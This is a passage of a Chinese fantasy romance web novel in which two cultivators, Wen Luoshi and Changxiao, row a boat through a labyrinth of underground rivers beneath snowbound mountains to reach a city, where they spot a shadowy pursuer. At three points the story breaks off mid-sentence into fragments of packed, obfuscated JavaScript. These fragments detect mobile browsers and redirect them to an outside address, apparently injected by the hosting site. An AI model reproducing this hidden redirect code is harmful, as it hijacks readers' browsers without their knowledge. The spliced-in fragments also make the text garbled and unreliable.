抬头望去,飓风渐消,天空中匆匆飘下撒盐一般的大雪,是柳絮终究无法模仿的那种急迫与决然。没过多久,雪笼罩了四周,白色洗涤了整个视野。 24. 舟上观雪送春归 “大雪封路,虽依旧能选择走山路,但越到山顶处,恐怕越难行。”长晓看着狂奔而下的鹅毛大雪,轻轻说道。 “若是不走山路,也不从山间空中飞过,那就真的寸步难行了。”文落诗也没想到这场雪来得如此之急,像是算好时间一样,刻意在他们到达山脚下之时降临。 “其实,”长晓转过身,“倒是还有一条路。只不是少有人知。” 文落诗听闻,好奇道:“在哪里?” 长晓看向不远处的山脚下,有一处明显的凹陷,似乎还有一道罅隙置于其中。他缓缓道:“群山之下,并非皆为密实的石或土,而是有一些空缺之处。” “穿石而过?”文落诗倒是第一次听说,寒声城四周的山下方,并非严丝合缝的石头,而是有空间存在。 然而,长晓闭眼,摇了摇头:“没这么简单。这些空间大小不一,有的地方极为狭窄,才通人,有的地方豁然开朗,别有洞天。” “但是,这条路是可以进入寒声城的,对吧?” “是。” “是不是很弯弯绕绕?” “是。” 文落诗看向长晓的表情,总觉得还有什么是他没说的,于是利索开口:“还有什么困难,你直接说就好。” 长晓看向她的眼睛,感觉到她好像在期待什么,便低声道:“那里面,没有路。” “啊?”文落诗震惊了,“那里面深不见底,需要时刻靠着法力悬在空中?” 长晓脸上挂起一抹笑容:“猜对了一半。那里面确实深不见底,但却是迷宫一样的河道。而且,两侧与头顶皆为崎岖不平的岩石。” 文落诗再次感到震惊,久久没能说出话来。 山的表面之下,竟然是一片河道。 “不会需要一直游过去吧?”文落诗忽然笑声出来,调侃一句。 “有船,不过只有数量极少的几只。此刻,山口处是否还有船只,不好说。”长晓回答。 “即使有船只,这条水路也很不好走吧?”文落诗看长晓轻蹙着眉,隐约猜测道。 “是。我只是听说过,没亲身去过,所以,恐怕也给不了你任何帮助。” 周围的风雪再次涌起,狂风呼啸声卷过周围干枯的木枝,在白茫茫的地上划过几道裂痕。 良久,长晓感受到自己的手臂再次被那个冰凉的小手一拉。 “走。” “你确定?” “总要去试试。” “落诗。” “嗯?” “你不害怕吗?” 长晓低头,看着眼前的姑娘。她的眼光中有风雪流动的痕迹,却丝毫没有削弱最深层的那股韧性。 “我当然害怕了,万一困在里面出不来了怎么办。”文落诗故作思考的姿态,闭上眼,再一睁开,双眸坚定。“我总觉得,这段经历或许危险,却是以后想求也求不来的,出门在外的意义,大概就是遇见这些突如其来的未知。” 长晓深深地看着她,没说话,等她继续说完。 “生活总是要继续的,所以无论接下来遇到什么,我都会选择走下去,而不是止步不前。或许,我这一辈子,就该是大风大浪的。” 她说完了,那只小手依旧抓着自己的胳膊,睫毛忽闪忽闪扫在那双眼眸之上。 长晓静了许久,才道:“我好像有点明白,你为何会选择冬年之间,一个人来到稀音城了。” 文落诗笑了笑:“碰上你之前,我也没这么乐观啦。” 她的意思是,碰上你之后,我意识到,这一生,也可以不那么悲观。 只不过,她觉得这话太奇怪了,就没有说出口。 “走吧,我陪你,”长晓点点头,“我怕你没这个胆子,不过,看来我白担心了半天。” 文落诗没有再犹豫,而是收了四周法力凝结而成的屏障,带好帽子,拉着长晓,朝他之前所指的方向,轻盈地走去。 长晓看着胳膊上,那只小手快把自己的衣袖攥皱了,情不自禁地笑起来。 他们来到不远处那块凹陷的石头旁,才发现这处凹陷之中果然有道极狭的缝隙,且相当深。文落诗侧过身子,步伐碎小,一蹭一蹭地钻进了石头缝里。不一会儿,长晓也跟着进来了,站定之后,掸了掸身上沾染的灰尘。 石头里面并非直通水流,而是先有一片空地。站在石头里面,文落诗感觉头顶上随时有碎石要砸下来,不敢轻举妄动。长晓跟在文落诗后面,两个人沿着石缝向里走了片刻,便到了开阔的“岸边”。 眼前的景色与方才的窄小很是不同。一汪水潭深不见底,且越看越觉得深不可测。水的上方和两侧,形状各异的岩石凸起,犬牙一般交错,像是一个小洞穴。 此景之下,只有沿着河道才能向前走,否则路尽于此。而前方河道并非一条直路,而是曲里拐弯,根本不知下一刻的河流是通向哪方。 怪不得一般没人知晓这条道路,也没人敢走。毕竟,若是毫无经验之人,进来之后,能否顺利出去,还真是值得探讨。 河道中水是蔚蓝色的,映得四周石壁都泛着淡淡的蓝光。偶尔有波纹荡漾,空荡的洞穴中,那是唯一的响声。 说不好是这水流声声音打破了静谧,还是融进了静谧之中。 岸边一个小木桩上,绑着一只不大的木船,尖头平尾,船里放着两只破旧的木桨。小船随着水流左晃右晃,最被绳子牵着,始终无法再向远方一点。 “碰上一条空船,运气还真不错。” 长晓先走过去,把绳子解下,把小船牵到岸边,示意文落诗先上船。 “比我想象中好多了,这个洞穴的高度,坐在船里,不仅能坐直身子,上方的岩石还不会磕脑袋。” 洞里比外面暖和不少,披着斗篷坐在船里,显得太臃肿了,活动不开手脚。文落诗便解下斗篷,随意施了个法,让斗篷暂时消失了。她提起裙摆,踏上船只,在前方盘腿坐下。 接着,她伸出手去,抓住旁边的木桩,确保船不会移动过多,转头看向长晓。 而长晓看着眼前这一幕,则是难免有片刻失神。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491734|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >文落诗一身淡蓝色的衣服,慵懒坐在木舟之中,而木舟在更深一层的蓝色水面之上飘着,仿佛船下的深不见底的河道,和四周岩石上映着的淡淡蓝光,都是为她而设。 她喜欢蓝色,应该会很喜欢这里的景色吧。 而她在等自己上船。 长晓也收了斗篷,露出织金纹的墨色长袍,迈步走上船,安坐于文落诗后面。 文落诗松开手,船便开始轻轻漂离岸边。两人分别拿起了船中的木桨,一左一右,向前划去,沿着河道,进入了山中的洞天。 “你说,”文落诗沿着木舟右侧,缓缓划动手中的木桨,“是不是在这里漂个三四天,都不一定能出去啊?” “怕是说不准,”长晓则是沿着木舟左侧划桨,“你若是累了,直接停下休息就好。” “啧,我修为这么高,七天七夜不睡觉都行,不至于累得停下来。”文落诗身后长发一甩,小脑袋从左侧扭过来,看向长晓。在长晓回答之前,她就这么别着脑袋,怎么也不转回去。 ——直到长晓伸出左手,扶住了她的后脑勺。 船向前漂着,左壁上一块岩石凸起,而这块岩石很快就来到文落诗脑袋的方位。待她意识到脑后经过了什么,稍稍一怔。 只顾着转头看后面的人了,完全没注意周围的石壁,若不是长晓那双手托住,自己的后脑勺恐怕就要撞上石头了。 “小心些,”长晓用力一划浆,船安然驶过了那块凸起的石头处,“好好看路,别磕着。” 文落诗双眼里写满无辜,歉意一笑,把头转回去。 “多谢你哦。” 大意了,明明自己一个很是心细的人,方才真是显得自己太莽撞了。居然还需要别人来提醒自己。文落诗总觉得有些丢人。 这宽敞的水路并不长久。大约过了一个时辰,两人就遇到了极为狭窄的地方。此处水流湍急,头顶上的石头凸起,成下垂的尖状,像要刺破人的脑袋一样。 “长晓,你身段比我高,你多注意头顶处的尖石。”文落诗低下头,把木桨收回船身里,开口提醒道。 长晓“嗯”了一声,也收起浆,任由木舟顺着水流,从这狭窄的水道中通过。 小舟没了船桨的控制,在河道中顺水而行,很快向前一倾,又被一股暗流撞过,船头狠狠扬起。浪从船底经过,小舟的头尾来回高低晃动着,文落诗的身子没平衡住,向后一仰,倒去,正正当当地靠在了长晓的胸脯上。 她刚想开口说话,却见面上一个又细又尖的石头正在逼近。 而船顺着水流,不受控制地向前疾行。 她来不及想,“唰”地向后方伸出手臂,凭着感觉,一把抓住长晓的头,将其向右侧按去。 仿佛就在那一瞬间,她感受到了那块垂下的石头轻轻蹭过自己的手背,留下了一点残碎的石屑和灰尘。她意识到,自己手的位置,就是长晓头部方才的位置。 幸好,长晓没有被磕到,她收回手臂,想要松一口气。可这提起的气息还没来得及松下去,下一个凸石迎面而来。 25. 舟上观雪送春归 “小心!”文落诗此刻仰着头,看着那块巨石一丝丝逼近。 行至此处,水流从透亮的蔚蓝色变成了幽深的藏蓝色,相较于之前,更是浓郁得不可见底。两侧石壁坑坑洼洼,早已不再闪着淡淡的光芒,而是一副干枯的景象,叫嚣着无尽的萧条。 这块垂下的石头如同春笋一般,从头顶的石壁上孑然而出,倒挂于河道之上。 若是一人行船,躺卧在船里,便可从石笋下方安稳度过。 可如今船里有两个人。 船顺着水流的冲击勇往直前,那石笋眼见着就要向文落诗袭来,她下意识闭上眼,决然伸出左臂,想要将石笋狠狠抓住。 可她的手臂还没伸出去,就被什么给摁住了。 待她再次睁开眼,只见眼前什么巨大的东西落下,砰的一声,扎入水中。 霎时间,无数水花炸开,飞溅到船上。 在她以为衣服要全部湿透的时候,低头一看,却见长晓的左臂挡在自己身前,宽广衣袖如同浓墨一般晕开,完完全全覆盖在自己身上。那衣袖松松垮垮,上面沾染着几处被水滴浸染的痕迹,本是均匀的墨色被水珠打乱。 而她的衣服,自然是一点都没湿。 这一切发生得太快,转眼间,那块巨石不断下沉,坠入万丈深的河底,再也不见踪影。 文落诗望着前方通畅无阻的河道,再看看空无一物的头顶,愣了许久,才发觉,船早已停止不动了,周围泛着淡淡的蓝光。 应当是长晓方才在船上施了法,使船如今纹丝不动,静立于河面之上。 而自己此刻,不仅松松软软靠在长晓的胸脯上,还被他用一只手臂搂着。 刹那间,文落诗觉得身上烧起一阵火,一股热流窜上脸颊,身子僵住,一动不敢动。 “……你还打算抱多久?” 她开口,却觉得这句话说得无比艰难。 “呵,也不谢谢我,就直接来兴师问罪了?” 长晓轻笑一声。此处位于山中,又是水道之上,这笑意融进了洞穴之中,回声幽然反复着,阵阵跌宕回响不断,时有时无,似实似空。 四周,有水滴坠落河面的响声,有水柱拍打过木舟外壁的冲击声,有水流一起一伏向前赶路的流动声。 长晓嘴上说着,却表现得毫无贪恋的意思,右手轻轻托起文落诗的后脑勺,帮她坐直起身子。他正欲把挡在她身上左臂也拿开,却见她忽然抬手,抓住了自己的衣袖。 “是不是湿了很多?”文落诗捧着那片衣袖,准确地说,是捧着长晓的左臂。她脸上没有过多情绪,可她声音有些低,也有些轻。这让长晓很容易从中察觉到,她是真的担心了。 “没事的,一会儿就干。”长晓想把手臂撤回来,她却始终紧抓着不放。 然后,他眼睁睁地,看着文落诗伸出右手,覆于他的衣袖之上。她那只手被石壁掩映得过于苍白,可手掌之下,如游丝般的粉烟涌出,左右流窜,游走在长晓的衣袖之上。那粉烟每经过一处,长晓衣袖上的湿痕变彻底消失。 无多时,文落诗把手收回:“天太冷了,湿着衣物容易着凉。” 她依旧是向左侧着头,一缕长发松松垂下,遮着她半张脸。 明明一句对他的关心都没说,可长晓把手臂伸回身侧之时,心中却有无数情绪晃动着。 见他没说话,文落诗索性直接转过半个身子,盯着他的眼睛,说道:“你怎么就这么聪明呢?” “嗯?”长晓没想到她会这么问。 “情急之下,我脑子一片空白,只想着用手去抓那个石笋了……”文落诗不禁皱了皱眉,有些懊悔。 而长晓,短短那么一刹那之间,不仅施法停船,还同时施法将逼近的石笋击落,使其落入船前水中。 文落诗越想,越觉得这个处理方法很妙,她也能做到,但她在方才一急之下,就是想不到这些。她甚至没察觉长晓有何动作。 “不怪你,”长晓伸出右手,仔细摸了摸已经干透如初的衣袖,“事出紧急,你已经很好了。” “可是,我总觉得,在这种处事方面,我和你差了好多。”文落诗微微低下头。 “其实,你缺的并不是修为,而是经验。就像你之前遇上尹岐,你说是你第一次与人正面交锋。他什么身份,他什么修为?他那种与人交手过无数次的人,你能赢他,证明你的修为已经比大多数人高多了。” 文落诗满脸写着不信。 “说实话,你可能不信,但如今放眼整个魔界,能与你匹敌的人,并不多。” 文落诗感受着船随着水波原地晃动,把头转回去,看向前方。一是她再扭着脖子就酸了,二是她实在不知道该用怎样的眼神再看长晓了。 “多谢你。”许久,她从喉咙里挤出一句话。 “谢我做什么,这是事实。”长晓的声音从身后传来。 “我还没到融雪。” “融雪之人也不一定能胜过你。” 文落诗忍不住又把头扭向身后,看着长晓,不过这次是从右边扭头。 “你怎么嘴这么甜呢?我出门之前是给自己塞了块糖吃,但也没给你喂糖啊?” 长晓愣住,随即淡雅一笑:“这不是因为,刚刚情急之下抱了你,觉得对不住么。” 那一瞬间,文落诗瞪大眼睛,震惊地看着他。 是哦,跟他相处这么多天,他说出多离谱的话,自己都不应该感到意外了。 文落诗岔开话题:“不过,你说得很对,我确实没什么经验,我指的是,应对突发情况和迎敌这些方面。” 长晓答道:“如果论生活经验,我都比不过你。” “啧,”文落诗有种被人硬生生塞了一口糖的感觉,“不说这个,所以,这就是我出门的目的,我想多看看世间不同的风景,与此同时,更多接触民生市井。嗯,还有就是,积累素材。如今遇上大雪封路、在山中行船,这些都是全新的,我很忐忑,但很喜欢。” “我出门的目的,和你差不多。” “说起来,”文落诗扬起头,视线对着长晓的鼻子,“我倒是好奇,你的这些经验哪儿来的,或者说,得是什么样的人,能跟你交手。” 长晓垂下眼眸看着她:“落诗,你都来来回回试探多少次了。” 文落诗心下一慌。得,被戳破了。 她迅速把头转回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14496882|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去:“好,我不问了,你不说肯定有不说的道理。” “倒也没什么不能说,”长晓虽如此说着,语气却明显平静了下来,“但你恐怕一定不愿意知道。” 若是真说出口,你恐怕多一刻也不会留在我身边了。 文落诗沉默半晌。 她其实无数次意识到,有些事情,她最好选择装傻。但是不幸的是,他们二人都太聪明了,随便一个细枝末节,都能立刻捕捉到,以至于她没办法不去思考长晓的背后究竟是什么。 “好,我不问了,少知道一点就能多活一天。”文落诗嘴角一撇。 长晓失笑:“那倒不至于。” 他们在此处停留太久了。文落诗把船桨抓起来,摆出准备划桨的姿势:“走吧,再聊下去,真的要七天七夜才能出去了。到时候我就倒在船上了。” “无妨,我到时候把你抱出去,大不了,事后再像刚刚一样,给你赔不是就行了。” “……” 文落诗彻底无语。长晓总是能用最平静的语气说出最惊人的话。她自认为经常语出惊人,但在长晓面前,她自愧不如,甘拜下风。 “你就仗着我对这些不在乎,是吧。”文落诗一拂袖,木舟上的术法被解除,开始随着水流向前漂动过。视线里再无凸起的石笋,周围崎岖不平的石壁也渐渐远去,只剩下昏暗的光线作为唯一的阻碍。 不过,顺着河道向前,问题不大的。 长晓也拿起木桨划船,许久,他轻轻开口:“其实,我倒是希望,你在乎。” * 大约又过了一个多时辰,这一段惊险的水路结束了,木舟从一个石洞中窜出,漂进了宽阔的水塘之中。水塘像是山中的一个小型湖泊,水面距离顶部的石壁有很大一段距离,对于刚刚经历完狭路的人来说,这里可谓是开阔无比。 熟悉的蓝色河水又回来了。只是这水塘中的水静止不动,哪怕船漂在水面上,都不见泛起波纹。 无波无澜、静得可怕的水面,乃罕见的奇观。 文落诗把头凑近水面,睁大眼睛向河水深处望去,却依旧看到了个无底洞,根本看不出有多深。 “我倒是挺喜欢这里的颜色的。”两人一路话并不多,文落诗觉得,好不容易走完一段险路,应该说说话,让氛围松弛一些。 “嗯,”长晓很是配合,立刻给予回应,“我早就料到了,你会喜欢这里。” “你也是第一次走这条水路吧?”文落诗问道。 “嗯。不然,我就直接让你在船上睡觉,我一路带你出去了。”长晓回答。 文落诗索性把木桨放回船里,身子向前一趴,双臂支在船沿上,欣赏着四周扑面而来的蓝色。她忽然就觉得,这一趟来得太值得了。 明明从山间飞过只需要几个时辰,从山路走也顶多走两天,走山中的水路,恐怕真要加倍计算,走上个三四天。但文落诗此刻认为,哪怕时间再长一些,她也无比愿意。 这里很危险,谁也不知道下一刻会发生什么。 但这里很美,有着那些不知晓和没胆量之人都见识不到的美景。 而且,长晓在身后陪着她,她觉得很安心。 26. 舟上观雪送春归 许久,小船飘飘荡荡,驶离了平静的湖面,再次进入窄道之中。幸而,这次河道虽窄,却远不如之前的那段弯弯绕绕,头顶上的石壁也有一些距离,不用担心随时会磕着脑袋。 船顺着水流可以自然而然前行,甚至不需要划桨。 而此刻,距离二人进入山洞之中,已经过去快一整天的时间了。 文落诗在船上坐得有些腿麻,伸展了一下胳膊,换了个姿势,继续拿起桨。 “你累不累啊?”她问身后的长晓。 “我没事,你要是累了,可以歇一会儿。”长晓的声音从后面传来。 文落诗寻了个水流稍微平缓的契机,在船上一蜷缩,然后转了个身子,背对着船头,整个人面对着长晓。 然后,她向后一躺,靠在了船头上。 长晓看呆了:“我是让你歇一会儿,也没让你这么松弛。” 文落诗早早闭上眼,对着他悠闲摆摆手:“你也把桨收进船里吧,快歇会儿。” 长晓快无语了,这姑娘心态也太好了,丝毫不担心自己被困在洞中出不去。 听长晓没有动静,文落诗睁开眼:“这段水路还挺好走的,你要是不困,就麻烦你看看路了,我打个盹。”说完,她连忙又补充了一句:“等下一段路,你睡觉,我看路。” 毕竟已经在水上漂了一整天,就算修为高、精力多、体力好,文落诗也很想阖眼眯一会。 听见长晓“嗯”了一声,文落诗便倒头就睡了。 这一段路虽狭,却确实不用费多大力气。水流湍急,船会自己向前走;水路狭窄,也不担心船偏了方位。 一时间,长晓见面前的姑娘蜷着腿,背靠着船沿,双臂慵懒搭在身前,淡蓝色的衣袖随意地铺开,也没个具体形象。她乌黑的头发顺着船沿流下,一张美妙的脸随着洞中的光线忽明忽暗。 长晓甚至不知道自己欣赏了多久。 他向空中扬手,手中出现了一个薄斗篷,上面银纹织着几朵昙花的图案。墨色斗篷像一片浓稠的黑夜,而那几朵昙花无惧黑夜,傲然盛放。 他往前倾身,把斗篷一丝不苟地盖在了文落诗身上。顷刻间,青丝与斗篷融为一片,只剩下一张小脸露在外面。 冬年太冷,此刻又是深冬,哪怕山洞会与外界隔绝,也容易着凉。特别是睡着的时候。 听着文落诗轻轻的呼吸声,长晓觉得,生活中最放松的时刻,也不过如此。 如果是为了能等到如此一瞬,那往昔两千余年的干瘪与平淡,也算是值了。 大约两个时辰后,文落诗惺忪睁开双眼。 刚想来的思绪有些模糊,她倒是没忘记自己在船上,也没忘记自己睡着了,但是低眸一看身上的斗篷,还是心头一颤。 “长晓?” 此处有些暗,她隐约看到长晓正把手臂撑在船沿上,用双指支着脑袋,但无法看清他的研究,也无法确定他是不是也睡着了。 “嗯,我没睡。”隐约中,那张嘴巴动了动。 船内毕竟窄小,文落诗又是斜靠着船沿睡的,一觉醒来,腰酸背痛,正欲坐起身,却发现身子使不上劲。她的手指有些麻,双腿也有些酸,只得先蓄好力气,再用力一撑,让自己坐起身来。 此刻,身上的斗篷坠落,她也终于借着微弱的水光,看清了长晓疲倦的双眼。 “你真是太贴心了,我都不知道该怎么谢你。”文落诗低头看向斗篷。 长晓收了支撑在船沿上的胳膊,道:“怕你着凉,回头到了新的城池之中先病倒了,就不好了。” “长晓,不是我说你,”文落诗眨眨眼,脑子里不知为何,冒出一股坏水,“你要是将来有机会成亲,你夫人应该挺幸福的。” 魔族成不成亲全看自己的意向,所以很多魔一辈子都没成亲。很简单,就想一个人过,或者没遇到合适的人罢了。 文落诗倒是觉得,长晓这样的人,自己过应该挺不错的,随心所欲,不受掣肘,也不用瞎操心。所以,他大概不会成亲吧。 不过,她没听见长晓回答,想来他是一时不知道该怎么接这句话。 文落诗意识到自己好像又把天聊死了,低下头,忽然意外发现,这斗篷上的昙花是用银而绣成的。她想到了长晓写的那首词是以“昙花未落”开头,便道:“你这斗篷上是昙花啊。我小时候去过一个地方,叫雨华,在第七重天上,午夜之时,那里昙花很漂亮。” “雨华,”长晓接道,“我还真没去过。” 文落诗的眼睛略微睁大:“竟然还有你没去过的地方。” 长晓倒是没想到她会如此问:“我没去过的地方还多呢。不然这座山里的河道,我也不会毫无头绪。” 文落诗觉得脑子空白了一阵,鬼使神差地飘过了一句话,可她意识到这么说实在不太合适,话涌到嘴边,也就硬生生咽了下去。 她本来想说,如果以后有机会,我们可以一起去一次雨华。 但她觉得,这句话超出自己的预期了,也超出一些边界了。 “不管如何,多谢你撑了这么久,让我休息了一会儿。你睡吧,接下来一段路我看着就好。” 文落诗意识到,如果再不把话题扯回正事上,她即将对聊天有种强烈的失控感。因为,她完全意料不到长晓会说什么,也无法判断自己会想说什么。 “不用,我没那么累。”长晓摇摇头。 “不行。必须睡觉。”文落诗故意拿出一副高高在上的神情,仰起脖子,盯着长晓。 船行过了一处明亮的路段,眼前的这张脸,忽然变得清晰了。 “好,”长晓觉得,眼前这场景,自己不答应也得答应了,“我闭上眼睛休息一会儿。那接下来那段路,就麻烦你了。” 文落诗非常自然地向前坐了坐,背直直地靠着船沿,腿往里挪了挪,给长晓留出了足够的可以向后倾身的空间。 待长晓微微向后仰着躺好后,文落诗再次非常自然地拿起刚刚盖在自己身上的斗篷,给长晓一丝不苟地盖上。 长晓冲她笑了笑。 “你别笑了,”文落诗心想,你再笑,我都不想转过头看路了,“闭眼,睡觉。” 长晓无奈笑着闭上了眼。 确保他呼吸均匀了之后,文落诗拧过身子,向前方一看,前方的路甚是好走,没必要经常回头看。于是,她于空中一挥手,粉烟流动,手中便出现了自己没改完的书稿。 闲来船上也无事可做,不如趁机再审审稿子,争取让初稿给书局的人留个好印象。 洞穴之中昏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504635|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗,水光又泛着令人困倦的蓝色。 她本想点一颗夜明珠,却抬眼一看,长晓双目正闭着,呼吸平缓。若是此时点灯,怕是会惊动他的浅眠。文落诗狠了狠心,不点灯了,大不了之后给自己多调一点休息眼睛的药。 不知过了多久,文落诗意识到背后略微空旷了一些。她放下手中的笔,回过头一看前方,顿时心神一凛。 前方开始有岔路了,弯弯曲曲的河道在前方分成了两个。 此处水流速度很快,她甚至一直没划浆,所以面对岔路,她必须迅速作出决定,否则根本来不及反悔。 但她着实不知道该怎么走。 转回头来,长晓依然闭着眼,她咬咬牙,暗自下定决心,直接把整个身子转过来,趴在前方船沿上,开始通过水流的冲击判断方向。虽然她知道,这种情况下,她一个没那么精通地理的人,再仔细看也没什么用。 不过,她忽然发现了右边的水流远方有一处被冲回来。 那就暂且假设,右边是条死路吧。 她拎起桨,在水中用力一划,走了左边的河道。 接下来一段路程,她经历了无数次这种选择。以至于长晓何时醒来的,她都没注意。 “落诗?” 文落诗吓了一跳,明显感觉自己心跳漏了一拍。 她转过头,看长晓在揉眼睛。 “刚刚遇上很多岔路,我好像全都选择了走左边。因为总觉得,右边会出现死路。”文落诗心下实在拿不准,但见长晓醒来,还是如实告知。 “嗯,我也不知道走哪边,反正只要船一路前行,总能出去。”长晓回答。 “你说,这山有这么大吗?怎么觉得水路这么长?”文落诗好奇。 “不一定山有多大,而是可能,我们把所有环城的山洞都走了一遍。” 文落诗震惊。 长晓接着道:“我怀疑,寒声城既然四面环山,山底互相连接着,那这河道恐怕是遍布了群山的底部,连成一个环,甚至,可能是上上下下好几个来回。不然,我们此刻在里面已经漂了快两个日夜了,不合逻辑。” 文落诗点点头,觉得长晓说得有道理。 果不其然,接下来的路,文落诗仔细观察,发现路真的是一直在向左偏转的,只不过弧度极小,几乎看不出来。 合着他们没进去寒声城,反而在四周的山群中兜圈子。 山洞里日夜都是一个颜色,两个人如今都已经没什么时间观念,只是靠着身体的感觉,猜测已经过了三天的时间。 文落诗实在支撑不住了,再次倒头睡过去。 待她快要再清醒过来的时候,总觉得眼皮之上有什么光线在动。 她缓缓睁开眼,发现周围亮了不少。 “我们是不是快到洞口了?” “大概是了。” 在接下来一柱香的时间里,光线越来越亮,仿佛整个昏暗的褪色的世界,忽然被有幸点染了一丝光彩。河水不再是幽深的蓝色,而是逐渐变浅,浅到文落诗把手伸进水里,还能清晰看到自己的指纹。 转而一抬头,她看到了一个极为刺眼的亮点。 “洞口。”她甚至用的是陈述的语气。 “嗯,”长晓给她回应,“我们到了。” 27. 舟上观雪送春归 洞口处,两人上岸后,系好毛绒绒的斗篷,回头向朝河道中一看,注意到一幅凌乱的景象。 有几只木船漂在岸边,大概是先于文落诗和长晓出发的。 怪异的是,几条翻了的船,船底朝上,漂漂荡荡地浮在水面上,有种莫名的阴森之感。更可怕的是,有几条沉了一半却没完全沉下去的船,斜着或者竖着,挂在河水中央。 这是一个洞口,只有船,没有人。 这一幕过于诡异,看得文落诗胆战心惊,下意识躲到了长晓的身后。 “你是怕水,还是怕船?” 长晓向左一步,伸了伸衣袖,把文落诗的视线完全挡住,浅浅向左下方低头,细声询问。 “我也说不清楚,但是我看着这个画面,总会觉得自己已经落水了,但是船是翻的,自己怎么爬也爬不上去。你知道那种在水里挣扎之时,忽然身边漂过一条破旧的空船,擦着自己的身体而过,有多可怕吗……” 听着文落诗越说越急,长晓干脆直接转过身去,一抬手,挡在她的双眼前:“不看了,每个人都有自己害怕的事物,不用刻意找寻一个解释。” 文落诗的视线瞬间被一只巨大的手挡住。那股来自长晓手上的气息传入她的鼻息之中,使她慢慢安下心来。 “会不会……是有什么不对……” “我倒是没感受到有不对的气息,大约真是你的特殊反应。不过不要紧,既然害怕,不看就是了。” “真的很奇怪,我坐在船上并不害怕,但是就是这种停船的场景,我每次遇到,都觉得害怕。” “我挡住你面前,还害怕吗?” “……好多了。” “嗯,那就好。” 然后,长晓很久没说话,静静等着文落诗缓过来。 “我们走吧,既已进城,眼下最重要的,是弄清楚我们此刻在何方位。” 文落诗转过身去,努力把刚刚看到的场景抛在脑后。 长晓点头,与文落诗一起向前走去。 刚从洞口出来,二人遇上一片小型的山林,冬年期间,大雪压枝,草木衰败,仅有的几片叶子也是枯黄干瘪,整个视线中,尽是萧条之象。 文落诗走着走着,忽然看到眼前有一处黑影,仿佛躲在一处树枝后。 “小心。”文落诗下意识伸出手臂,挡在长晓身前。 她反应极为迅速。 那黑影似乎意识到自己被发现了,飘然而去,一刹那间,再也不见踪影。要不是文落诗相信自己的眼睛,她甚至可以怀疑是刚刚看错了。 此时身旁,长晓嘴角一斜,发出一声冷笑:“能追我到这里,还真挺不容易。” 文落诗转身:“来找你的?”可看到长晓的那一刻,心下一惊。 她没见过长晓如此神情,像是漫不经心,却夹杂着无数嘲笑与鄙夷。那是一种完完全全属于上位者的表情,好像在将面前的生命玩弄于掌股之间,不怒自威。 刹那间,周围的空气变得冰冷刺骨。 她下意识向后退了半步,忽觉自己之前的所有幻想,都被这一刻所见的那副神情打破了。面前的人好像很危险,但她在逐渐靠近。 长晓收起这幅面孔时,低眸看时,文落诗正向后退了半步。 他略微愣住:“吓到你了?” 文落诗双眼无神,艰难开口:“是你仇人吗?” 长晓“呵”地笑了一声,目光软下来,好像那冬天的枯枝在一瞬间碎成粉末:“嗯,虽然没这么简单,但可以这么说。” 文落诗更害怕了:“你不是从融雪城来吗?怎么会有人一路追你,从九重天追到一重天?” 长晓更是惊讶,自己明明已经刻意隐瞒了来处。但他转而一想,却也觉得合理,她这么聪明,只言片语,自然怕是早就猜到了。 “放心,他短时间之内不会动手,也不会现身。因此,我没有搭理他的必要。” 文落诗木讷地点点头。 长晓也有点懵,眼前的姑娘好似一种魂飞魄散的状态,他一时间不知道该说什么。 半晌,文落诗回过神来:“走吧,穿过这片树林,就进城了。既然你说他短时间内不会动手,那我也不用太过于担心了。” 她转身欲迈步,却见长晓止步不前。 “怎么了?” “我在想,与你同行,会不会给你过大压力。” 文落诗知道,怕是刚刚自己反应太大了。 “不会,之前不是说了么,我缺乏很多经验,如今跟你同行,我正好长长见识。而且,是谁说要拿我当创作灵感来着?我才不担心待在你身边会有危险。” “我若是告诉你,恐怕你如今已经被我牵连了呢?” 一阵冷风吹过,长晓的这句话,仿佛让四周失去了所有温度。 “那就面对啊,我才不怕。”文落诗知道,这句话说得相当心虚,但她努力表现出一副傲然的嘴脸。 长晓走上前,把她的身姿收进眼底。 “好,多谢你刚刚挡在的面前。” 文落诗一怔,才意识到,自己刚刚似乎无意中伸出手臂挡在长晓面前了。她嘴角一扬,仿佛在用眼神告诉长晓,这个小插曲,就此结束。 于是,接下来,两人穿过大雪覆盖的丛林,终于看到了带有烟火气的屋檐。哪怕这些屋檐上沾满白雪的痕迹。 “接下来呢?我去找客栈?”文落诗发话。 “不必,你跟我走就好。”长晓接话,朝着一条寂静的街巷迈步。 文落诗心下震惊,他还真的在哪里都有落脚之地啊。不过,自己恐怕又要蹭吃蹭住了。 不行,自己现下有的是钱,起码要把饭钱请回来。 寒声城四面环山,山林众多,不少人选择居住在山上甚至深林中,形成一个个小村落。群山围绕下,中央的平地并不大,真正聚集起来能算得上城镇的,也就是眼前这些了。 